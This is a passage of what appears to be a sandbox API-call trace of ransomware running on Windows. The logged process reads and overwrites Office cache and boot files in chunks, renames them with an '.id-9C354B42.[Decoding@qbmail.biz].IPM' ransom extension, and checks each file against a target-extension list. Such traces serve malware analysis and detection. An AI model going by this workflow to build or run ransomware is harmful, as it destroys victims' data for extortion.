lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.085] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0094.465] SetEndOfFile (hFile=0x1c4) returned 1 [0094.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f33ff0 [0094.470] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0094.470] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f33ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33ff0*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.472] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0094.472] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f33ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33ff0*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.473] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0094.473] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f33ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33ff0*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f33ff0 | out: hHeap=0x5d0000) returned 1 [0094.476] CloseHandle (hObject=0x1c4) returned 1 [0094.477] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0094.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.477] lstrlenW (lpString=".doc") returned 4 [0094.477] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0094.477] lstrlenW (lpString=".docx") returned 5 [0094.477] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0094.477] lstrlenW (lpString=".pdf") returned 4 [0094.477] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0094.477] lstrlenW (lpString=".xls") returned 4 [0094.477] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0094.477] lstrlenW (lpString=".xlsx") returned 5 [0094.478] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0094.478] lstrlenW (lpString=".ppt") returned 4 [0094.478] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0094.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.478] lstrlenW (lpString=".zip") returned 4 [0094.478] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0094.478] lstrlenW (lpString=".rar") returned 4 [0094.478] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0094.478] lstrlenW (lpString=".bz2") returned 4 [0094.478] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0094.478] lstrlenW (lpString=".7z") returned 3 [0094.478] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0094.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.478] lstrlenW (lpString=".dbf") returned 4 [0094.478] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0094.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.478] lstrlenW (lpString=".1cd") returned 4 [0094.478] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0094.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.478] lstrlenW (lpString=".jpg") returned 4 [0094.478] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0094.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.479] lstrlenW (lpString=".doc") returned 4 [0094.479] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0094.479] lstrlenW (lpString=".docx") returned 5 [0094.479] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0094.479] lstrlenW (lpString=".pdf") returned 4 [0094.479] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0094.479] lstrlenW (lpString=".xls") returned 4 [0094.479] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0094.479] lstrlenW (lpString=".xlsx") returned 5 [0094.479] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0094.479] lstrlenW (lpString=".ppt") returned 4 [0094.479] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0094.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.479] lstrlenW (lpString=".zip") returned 4 [0094.479] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0094.479] lstrlenW (lpString=".rar") returned 4 [0094.479] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0094.479] lstrlenW (lpString=".bz2") returned 4 [0094.479] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0094.479] lstrlenW (lpString=".7z") returned 3 [0094.479] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0094.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.480] lstrlenW (lpString=".dbf") returned 4 [0094.480] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0094.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.480] lstrlenW (lpString=".1cd") returned 4 [0094.480] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0094.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0094.480] lstrlenW (lpString=".jpg") returned 4 [0094.480] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0094.480] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0094.480] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0094.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0095.033] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2511872) returned 1 [0095.033] CloseHandle (hObject=0x1d0) returned 1 [0095.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0095.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.033] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0095.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0095.034] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0095.034] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.034] ReadFile (in: hFile=0x1d0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.045] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.046] ReadFile (in: hFile=0x1d0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.087] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.087] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.087] ReadFile (in: hFile=0x1d0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.211] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.211] WriteFile (in: hFile=0x1d0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0095.368] SetEndOfFile (hFile=0x1d0) returned 1 [0095.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f43ff8 [0095.371] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0095.371] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f43ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43ff8*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.373] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0095.373] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f43ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43ff8*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.380] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0095.380] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f43ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43ff8*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f43ff8 | out: hHeap=0x5d0000) returned 1 [0095.383] CloseHandle (hObject=0x1d0) returned 1 [0095.383] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0095.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.384] lstrlenW (lpString=".doc") returned 4 [0095.384] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.384] lstrlenW (lpString=".docx") returned 5 [0095.384] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.384] lstrlenW (lpString=".pdf") returned 4 [0095.384] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.384] lstrlenW (lpString=".xls") returned 4 [0095.384] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.384] lstrlenW (lpString=".xlsx") returned 5 [0095.384] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.384] lstrlenW (lpString=".ppt") returned 4 [0095.384] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.384] lstrlenW (lpString=".zip") returned 4 [0095.384] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.384] lstrlenW (lpString=".rar") returned 4 [0095.384] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.384] lstrlenW (lpString=".bz2") returned 4 [0095.384] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.384] lstrlenW (lpString=".7z") returned 3 [0095.384] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.384] lstrlenW (lpString=".dbf") returned 4 [0095.384] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.384] lstrlenW (lpString=".1cd") returned 4 [0095.384] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.385] lstrlenW (lpString=".jpg") returned 4 [0095.385] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.385] lstrlenW (lpString=".doc") returned 4 [0095.385] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.385] lstrlenW (lpString=".docx") returned 5 [0095.385] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.385] lstrlenW (lpString=".pdf") returned 4 [0095.385] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.385] lstrlenW (lpString=".xls") returned 4 [0095.385] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.385] lstrlenW (lpString=".xlsx") returned 5 [0095.385] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.385] lstrlenW (lpString=".ppt") returned 4 [0095.385] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.385] lstrlenW (lpString=".zip") returned 4 [0095.385] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.385] lstrlenW (lpString=".rar") returned 4 [0095.385] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.385] lstrlenW (lpString=".bz2") returned 4 [0095.385] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.385] lstrlenW (lpString=".7z") returned 3 [0095.385] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.385] lstrlenW (lpString=".dbf") returned 4 [0095.385] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.385] lstrlenW (lpString=".1cd") returned 4 [0095.385] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0095.386] lstrlenW (lpString=".jpg") returned 4 [0095.386] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.386] lstrcmpiW (lpString1=".dll", lpString2=".IPM") returned -1 [0095.386] lstrlenW (lpString="dwintl20.dll") returned 12 [0095.386] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0095.386] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=107912) returned 1 [0095.386] CloseHandle (hObject=0x1d0) returned 1 [0095.386] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0095.386] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0095.387] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.387] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 17 os_tid = 0x5ac [0069.265] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38f0090 [0069.265] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x3900098 [0069.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff80 [0069.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65dad8 [0069.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff98 [0069.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3c90020 [0069.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ffb0 [0069.267] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ffb0, Size=0x20) returned 0x6249a0 [0069.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ffb0 [0069.267] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ffb0, Size=0x20) returned 0x6248b0 [0069.267] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0069.268] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0069.268] Wow64DisableWow64FsRedirection (in: OldValue=0x32aff58 | out: OldValue=0x32aff58*=0x0) returned 1 [0069.268] lstrlenW (lpString="kernel32.dll") returned 12 [0069.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6249a0 | out: hHeap=0x5d0000) returned 1 [0069.268] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0069.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6248b0 | out: hHeap=0x5d0000) returned 1 [0069.268] Sleep (dwMilliseconds=0x64) [0069.545] Sleep (dwMilliseconds=0x64) [0069.821] lstrcmpiW (lpString1=".LOG2", lpString2=".IPM") returned 1 [0069.821] lstrlenW (lpString="BCD.LOG2") returned 8 [0069.821] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.849] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=0) returned 1 [0069.849] CloseHandle (hObject=0x18c) returned 1 [0069.849] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.849] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.849] lstrlenW (lpString=".doc") returned 4 [0069.849] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString=".docx") returned 5 [0069.850] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0069.850] lstrlenW (lpString=".pdf") returned 4 [0069.850] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString=".xls") returned 4 [0069.850] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString=".xlsx") returned 5 [0069.850] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0069.850] lstrlenW (lpString=".ppt") returned 4 [0069.850] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.850] lstrlenW (lpString=".zip") returned 4 [0069.850] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString=".rar") returned 4 [0069.850] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString=".bz2") returned 4 [0069.850] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString=".7z") returned 3 [0069.850] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0069.850] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.850] lstrlenW (lpString=".dbf") returned 4 [0069.850] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.850] lstrlenW (lpString=".1cd") returned 4 [0069.850] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.850] lstrlenW (lpString=".jpg") returned 4 [0069.850] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0069.850] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.850] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.850] lstrlenW (lpString=".doc") returned 4 [0069.851] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString=".docx") returned 5 [0069.851] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0069.851] lstrlenW (lpString=".pdf") returned 4 [0069.851] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString=".xls") returned 4 [0069.851] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString=".xlsx") returned 5 [0069.851] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0069.851] lstrlenW (lpString=".ppt") returned 4 [0069.851] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.851] lstrlenW (lpString=".zip") returned 4 [0069.851] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString=".rar") returned 4 [0069.851] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString=".bz2") returned 4 [0069.851] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString=".7z") returned 3 [0069.851] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0069.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.851] lstrlenW (lpString=".dbf") returned 4 [0069.851] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.851] lstrlenW (lpString=".1cd") returned 4 [0069.851] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0069.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0069.851] lstrlenW (lpString=".jpg") returned 4 [0069.851] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned 